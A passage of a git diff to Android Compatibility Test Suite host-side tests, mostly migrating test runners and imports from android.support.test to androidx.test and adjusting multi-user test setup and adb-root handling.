         android:label="CTS tests for JVMTI"
         android:targetPackage="android.jvmti.cts.tagging" >
     </instrumentation>
diff --git a/hostsidetests/media/app/MediaSessionTest/Android.mk b/hostsidetests/media/app/MediaSessionTest/Android.mk
index 174a744..fe46d74 100644
--- a/hostsidetests/media/app/MediaSessionTest/Android.mk
+++ b/hostsidetests/media/app/MediaSessionTest/Android.mk
@@ -30,8 +30,8 @@
 
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util \
+    androidx.test.rules \
+    compatibility-device-util-axt \
 
 
 LOCAL_SDK_VERSION := current
diff --git a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
index 72d3e64..009fea8 100644
--- a/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
+++ b/hostsidetests/media/app/MediaSessionTest/AndroidManifest.xml
@@ -35,7 +35,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.media.session.cts"
         android:label="MediaSession multi-user case CTS Tests" />
 
diff --git a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
index 02d8107..b73da0d 100644
--- a/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
+++ b/hostsidetests/media/app/MediaSessionTest/src/android/media/session/cts/MediaSessionManagerTest.java
@@ -17,7 +17,7 @@
 package android.media.session.cts;
 
 import static android.media.cts.MediaSessionTestHelperConstants.MEDIA_SESSION_TEST_HELPER_PKG;
-import static org.junit.Assert.assertFalse;
+
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -26,8 +26,9 @@
 import android.media.session.MediaController;
 import android.media.session.MediaSessionManager;
 import android.service.notification.NotificationListenerService;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
 
 import org.junit.Before;
 import org.junit.Test;
diff --git a/hostsidetests/media/bitstreams/app/Android.mk b/hostsidetests/media/bitstreams/app/Android.mk
index 6070146..9ed5506 100644
--- a/hostsidetests/media/bitstreams/app/Android.mk
+++ b/hostsidetests/media/bitstreams/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util media-bitstreams-common-devicesidelib
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules compatibility-device-util-axt media-bitstreams-common-devicesidelib
 
 # tag this module as a cts test artifact
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
diff --git a/hostsidetests/media/bitstreams/app/AndroidManifest.xml b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
index d5565fd..0f77bad 100644
--- a/hostsidetests/media/bitstreams/app/AndroidManifest.xml
+++ b/hostsidetests/media/bitstreams/app/AndroidManifest.xml
@@ -23,7 +23,7 @@
         <uses-library android:name="android.test.runner" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.media.cts.bitstreams.app"
             android:label="Device-side CTS media bitstreams preparation" />
 </manifest>
diff --git a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
index e59e7a3..625839f 100644
--- a/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
+++ b/hostsidetests/media/bitstreams/app/src/android/media/cts/bitstreams/app/MediaBitstreamsDeviceSideTest.java
@@ -21,16 +21,24 @@
 import android.content.SharedPreferences;
 import android.content.SharedPreferences.Editor;
 import android.media.MediaCodec;
-import android.media.MediaCodecInfo;
 import android.media.MediaExtractor;
 import android.media.MediaFormat;
 import android.media.cts.bitstreams.MediaBitstreams;
 import android.os.Bundle;
 import android.os.Debug;
-import android.support.test.InstrumentationRegistry;
 import android.util.Xml;
+
+import androidx.test.InstrumentationRegistry;
+
 import com.android.compatibility.common.util.DynamicConfigDeviceSide;
 import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.BeforeClass;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+import org.xmlpull.v1.XmlSerializer;
+
 import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileNotFoundException;
@@ -47,12 +55,6 @@
 import java.util.concurrent.Executors;
 import java.util.concurrent.Future;
 import java.util.concurrent.TimeUnit;
-import java.util.concurrent.atomic.AtomicReference;
-import org.junit.BeforeClass;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.JUnit4;
-import org.xmlpull.v1.XmlSerializer;
 
 /**
  * Test class that uses device-side media APIs to determine up to which resolution MediaPreparer
diff --git a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
index 74ec892..e6f8c62 100644
--- a/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
+++ b/hostsidetests/media/src/android/media/cts/BaseMultiUserTest.java
@@ -44,7 +44,7 @@
  * Base class for host-side tests for multi-user aware media APIs.
  */
 public class BaseMultiUserTest extends DeviceTestCase implements IBuildReceiver {
-    private static final String RUNNER = "android.support.test.runner.AndroidJUnitRunner";
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
 
     /**
      * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
index 3fcbba9..01e7795 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/BaseMultiUserTest.java
@@ -29,13 +29,13 @@
  * Base class for multi user tests.
  */
 public class BaseMultiUserTest implements IDeviceTest {
-    protected static final int USER_SYSTEM = 0; // From the UserHandle class.
-
     /** Whether multi-user is supported. */
     protected boolean mSupportsMultiUser;
     protected boolean mIsSplitSystemUser;
+    protected int mInitialUserId;
     protected int mPrimaryUserId;
-    /** Users we shouldn't delete in the tests */
+
+    /** Users we shouldn't delete in the tests. */
     private ArrayList<Integer> mFixedUsers;
 
     private ITestDevice mDevice;
@@ -44,22 +44,21 @@
     public void setUp() throws Exception {
         mSupportsMultiUser = getDevice().getMaxNumberOfUsersSupported() > 1;
         mIsSplitSystemUser = checkIfSplitSystemUser();
+
+        mInitialUserId = getDevice().getCurrentUser();
         mPrimaryUserId = getDevice().getPrimaryUserId();
-        mFixedUsers = new ArrayList<>();
-        mFixedUsers.add(mPrimaryUserId);
-        if (mPrimaryUserId != USER_SYSTEM) {
-            mFixedUsers.add(USER_SYSTEM);
-        }
-        getDevice().switchUser(mPrimaryUserId);
-        removeTestUsers();
+
+        // Test should not modify / remove any of the existing users.
+        mFixedUsers = getDevice().listUsers();
     }
 
     @After
     public void tearDown() throws Exception {
-        if (getDevice().getCurrentUser() != mPrimaryUserId) {
-            CLog.w("User changed during test. Switching back to " + mPrimaryUserId);
-            getDevice().switchUser(mPrimaryUserId);
+        if (getDevice().getCurrentUser() != mInitialUserId) {
+            CLog.w("User changed during test. Switching back to " + mInitialUserId);
+            getDevice().switchUser(mInitialUserId);
         }
+        // Remove the users created during this test.
         removeTestUsers();
     }
 
@@ -131,4 +130,4 @@
                 || "1".equals(commandOuput) || "true".equals(commandOuput)
                 || "on".equals(commandOuput);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
index 9a4f829..1d8a13e 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersNoAppCrashesTest.java
@@ -45,19 +45,11 @@
  */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public class CreateUsersNoAppCrashesTest extends BaseMultiUserTest {
-    private int mInitialUserId;
-    private static final long LOGCAT_POLL_INTERVAL_MS = 5000;
+    private static final long LOGCAT_POLL_INTERVAL_MS = 1000;
     private static final long USER_SWITCH_COMPLETE_TIMEOUT_MS = 180000;
 
     @Rule public AppCrashRetryRule appCrashRetryRule = new AppCrashRetryRule();
 
-    @Before
-    public void setUp() throws Exception {
-        CLog.e("setup_CreateUsersNoAppCrashesTest");
-        super.setUp();
-        mInitialUserId = getDevice().getCurrentUser();
-    }
-
     @Presubmit
     @Test
     public void testCanCreateGuestUser() throws Exception {
@@ -70,7 +62,6 @@
                 false /* ephemeral */);
         assertSwitchToNewUser(userId);
         assertSwitchToUser(userId, mInitialUserId);
-
     }
 
     @Presubmit
diff --git a/hostsidetests/net/app/Android.mk b/hostsidetests/net/app/Android.mk
index c03e70b..6d89e58 100644
--- a/hostsidetests/net/app/Android.mk
+++ b/hostsidetests/net/app/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner ub-uiautomator \
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt ctstestrunner-axt ub-uiautomator \
         CtsHostsideNetworkTestsAidl
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index 2553f47..ba0e242 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -45,7 +45,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="com.android.cts.net.hostside" />
 
 </manifest>
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
index ff05d8c..e2976c2 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/MyServiceClient.java
@@ -62,10 +62,10 @@
 
         final Intent intent = new Intent();
         intent.setComponent(new ComponentName(APP2_PACKAGE, SERVICE_NAME));
-        // Needs to use BIND_ALLOW_OOM_MANAGEMENT and BIND_NOT_FOREGROUND so app2 does not run in
+        // Needs to use BIND_NOT_FOREGROUND so app2 does not run in
         // the same process state as app
         mContext.bindService(intent, mServiceConnection, Context.BIND_AUTO_CREATE
-                | Context.BIND_ALLOW_OOM_MANAGEMENT | Context.BIND_NOT_FOREGROUND);
+                | Context.BIND_NOT_FOREGROUND);
         cv.block(TIMEOUT_MS);
         if (mService == null) {
             throw new IllegalStateException(
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
index 7c9ce8f..a2443b3 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
@@ -128,7 +128,7 @@
     protected void runDeviceTests(String packageName, String testClassName, String methodName)
             throws DeviceNotAvailableException {
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
-                "android.support.test.runner.AndroidJUnitRunner", getDevice().getIDevice());
+                "androidx.test.runner.AndroidJUnitRunner", getDevice().getIDevice());
 
         if (testClassName != null) {
             if (methodName != null) {
diff --git a/hostsidetests/numberblocking/app/Android.mk b/hostsidetests/numberblocking/app/Android.mk
index fc0f4a0..08bf132 100644
--- a/hostsidetests/numberblocking/app/Android.mk
+++ b/hostsidetests/numberblocking/app/Android.mk
@@ -27,7 +27,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner-axt androidx.test.rules
 
 LOCAL_JAVA_LIBRARIES := android.test.base.stubs
 
diff --git a/hostsidetests/numberblocking/app/AndroidManifest.xml b/hostsidetests/numberblocking/app/AndroidManifest.xml
index 9c2b3b1..6ff2d9e 100755
--- a/hostsidetests/numberblocking/app/AndroidManifest.xml
+++ b/hostsidetests/numberblocking/app/AndroidManifest.xml
@@ -33,7 +33,7 @@
 
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.cts.numberblocking.hostside"
                      android:label="Number blocking CTS Tests"/>
 
diff --git a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
index 30312da4..4a31f8b 100644
--- a/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
+++ b/hostsidetests/numberblocking/app/src/com/android/cts/numberblocking/hostside/BaseNumberBlockingClientTest.java
@@ -18,10 +18,11 @@
 
 import android.content.Context;
 import android.os.Bundle;
-import android.support.test.InstrumentationRegistry;
 import android.telecom.TelecomManager;
 import android.test.InstrumentationTestCase;
 
+import androidx.test.InstrumentationRegistry;
+
 /**
  * Base class for number blocking tests.
  */
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 5e1a0ec..1718ab7 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -171,7 +171,7 @@
                 className, methodName, userId);
         RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(
                 NUMBER_BLOCKING_TESTS_PKG,
-                "android.support.test.runner.AndroidJUnitRunner",
+                "androidx.test.runner.AndroidJUnitRunner",
                 getDevice().getIDevice());
         testRunner.addInstrumentationArg("blocked_number", BLOCKED_NUMBER);
         testRunner.addInstrumentationArg("phone_account_id", PHONE_ACCOUNT_ID);
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index 086f787..c557c9e 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -86,12 +86,22 @@
      */
     @AppModeFull(reason = "Error message is different for instant app (Activity does not exist)")
     public void testNonExportedActivities() throws Exception {
-        // Attempt to launch the non-exported activity in the test app
-        CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
-        mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
-        final String output = outputReceiver.getOutput();
+        // Run as unroot
+        boolean wasRoot = mDevice.isAdbRoot();
+        try {
+            mDevice.disableAdbRoot();
+            // Attempt to launch the non-exported activity in the test app
+            CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
+            mDevice.executeShellCommand(START_NON_EXPORTED_ACTIVITY_COMMAND, outputReceiver);
+            final String output = outputReceiver.getOutput();
 
-        assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+            assertTrue(output.contains("Permission Denial") && output.contains(" not exported"));
+        } finally {
+            // Restore back to original root state
+            if (wasRoot) {
+                mDevice.enableAdbRoot();
+            }
+        }
     }
 
     public void testIntentFilterHostValidation() throws Exception {
diff --git a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
index d4b34ce..9aa1edc 100644
--- a/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/StaticSharedLibsHostTests.java
@@ -36,7 +36,7 @@
 
 public class StaticSharedLibsHostTests extends DeviceTestCase implements IBuildReceiver {
     private static final String ANDROID_JUNIT_RUNNER_CLASS =
-            "android.support.test.runner.AndroidJUnitRunner";
+            "androidx.test.runner.AndroidJUnitRunner";
 
     private static final String STATIC_LIB_PROVIDER_RECURSIVE_APK =
             "CtsStaticSharedLibProviderRecursive.apk";
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
index 3f3d8bd..85aade7 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/Android.mk
@@ -23,8 +23,8 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test \
-    compatibility-device-util
+    androidx.test.rules \
+    compatibility-device-util-axt
 
 LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp1
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
index 52a2dfe..95f6b29 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/AndroidManifest.xml
@@ -33,7 +33,7 @@
         </uses-static-library>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.lib.consumer1"/>
 
 </manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
index 995be4f..b5462e5 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp1/src/android/os/lib/consumer1/UseSharedLibraryTest.java
@@ -27,15 +27,17 @@
 import android.content.pm.SharedLibraryInfo;
 import android.content.pm.VersionedPackage;
 import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.SystemUtil;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.util.List;
 
-import com.android.compatibility.common.util.SystemUtil;
-
 @RunWith(AndroidJUnit4.class)
 public class UseSharedLibraryTest {
     private static final String LIB_NAME = "foo.bar.lib";
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
index 801dd75..9e35c0e 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp4
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
index 7ddb841..5a76ea3 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/AndroidManifest.xml
@@ -29,7 +29,7 @@
         </uses-static-library>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.lib.consumer2"/>
 
 </manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
index 4e9a347..8f824d1 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp2/src/android/os/lib/consumer2/UseSharedLibraryTest.java
@@ -16,14 +16,16 @@
 
 package android.os.lib.consumer2;
 
+import static org.junit.Assert.assertSame;
+
 import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertSame;
-
 @RunWith(AndroidJUnit4.class)
 public class UseSharedLibraryTest {
     @Test
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
index be1b6b0..91ae872 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/Android.mk
@@ -21,7 +21,7 @@
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_RES_LIBRARIES := CtsStaticSharedLibProviderApp7
 
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
index b156e6b..55e1904 100755
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/AndroidManifest.xml
@@ -30,7 +30,7 @@
         </uses-static-library>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.lib.consumer3"/>
 
 </manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
index a57207f..1462048 100644
--- a/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedLibConsumerApp3/src/android/os/lib/consumer3/UseSharedLibraryTest.java
@@ -16,14 +16,16 @@
 
 package android.os.lib.consumer3;
 
+import static org.junit.Assert.assertSame;
+
 import android.os.lib.provider.StaticSharedLib;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import static org.junit.Assert.assertSame;
-
 @RunWith(AndroidJUnit4.class)
 public class UseSharedLibraryTest {
     @Test
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
index 1225e38..9564193 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/Android.mk
@@ -23,7 +23,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-    android-support-test
+    androidx.test.rules
 
 LOCAL_JNI_SHARED_LIBRARIES := libstaticsharednativelibconsumerjni
 
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
index 34c0403..acfffba 100755
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/AndroidManifest.xml
@@ -30,7 +30,7 @@
         </uses-static-library>
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
             android:targetPackage="android.os.lib.consumer"/>
 
 </manifest>
diff --git a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
index 20a3d30..19cc954 100644
--- a/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
+++ b/hostsidetests/os/test-apps/StaticSharedNativeLibConsumer/src/android/os/lib/consumer/UseSharedLibraryTest.java
@@ -18,7 +18,8 @@
 
 import static org.junit.Assert.assertSame;
 
-import android.support.test.runner.AndroidJUnit4;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/hostsidetests/sample/app2/Android.mk b/hostsidetests/sample/app2/Android.mk
index cec0078..e050412 100644
--- a/hostsidetests/sample/app2/Android.mk
+++ b/hostsidetests/sample/app2/Android.mk
@@ -25,7 +25,7 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/sample/app2/AndroidManifest.xml b/hostsidetests/sample/app2/AndroidManifest.xml
index 3bbcf1f..5003e8c 100644
--- a/hostsidetests/sample/app2/AndroidManifest.xml
+++ b/hostsidetests/sample/app2/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.sample.cts.app2" />
 
 </manifest>
diff --git a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
index 918632e..435aea2 100644
--- a/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
+++ b/hostsidetests/sample/app2/src/android/sample/cts/app2/SampleDeviceTest.java
@@ -16,13 +16,13 @@
 
 package android.sample.cts.app2;
 
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Assert;
 import org.junit.Assume;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import android.support.test.runner.AndroidJUnit4;
-
 /**
  * Device-side tests for CtsSampleHostTestCases
  */
diff --git a/hostsidetests/seccomp/app/Android.mk b/hostsidetests/seccomp/app/Android.mk
index 041d760..36dd417 100644
--- a/hostsidetests/seccomp/app/Android.mk
+++ b/hostsidetests/seccomp/app/Android.mk
@@ -30,8 +30,8 @@
 LOCAL_PROGUARD_ENABLED := disabled
 
 LOCAL_STATIC_JAVA_LIBRARIES := \
-          android-support-test \
-          compatibility-device-util \
+          androidx.test.rules \
+          compatibility-device-util-axt \
 
 LOCAL_JNI_SHARED_LIBRARIES := \
           libctsseccomp_jni \
diff --git a/hostsidetests/seccomp/app/AndroidManifest.xml b/hostsidetests/seccomp/app/AndroidManifest.xml
index b8e97e3..9940eeb 100644
--- a/hostsidetests/seccomp/app/AndroidManifest.xml
+++ b/hostsidetests/seccomp/app/AndroidManifest.xml
@@ -23,7 +23,7 @@
     </application>
 
     <instrumentation
-        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:name="androidx.test.runner.AndroidJUnitRunner"
         android:targetPackage="android.seccomp.cts.app" />
 
 </manifest>
diff --git a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
index 42ea6c2..6cb8b53 100644
--- a/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
+++ b/hostsidetests/seccomp/app/src/android/seccomp/cts/app/SeccompDeviceTest.java
@@ -16,25 +16,25 @@
 
 package android.seccomp.cts.app;
 
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Iterator;
-
 import android.content.Context;
 import android.content.res.AssetManager;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.runner.AndroidJUnit4;
-import com.android.compatibility.common.util.CpuFeatures;
-import org.json.JSONObject;
-import org.json.JSONException;
 
-import org.junit.After;
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.compatibility.common.util.CpuFeatures;
+
+import org.json.JSONException;
+import org.json.JSONObject;
 import org.junit.Assert;
-import org.junit.Assume;
 import org.junit.Before;
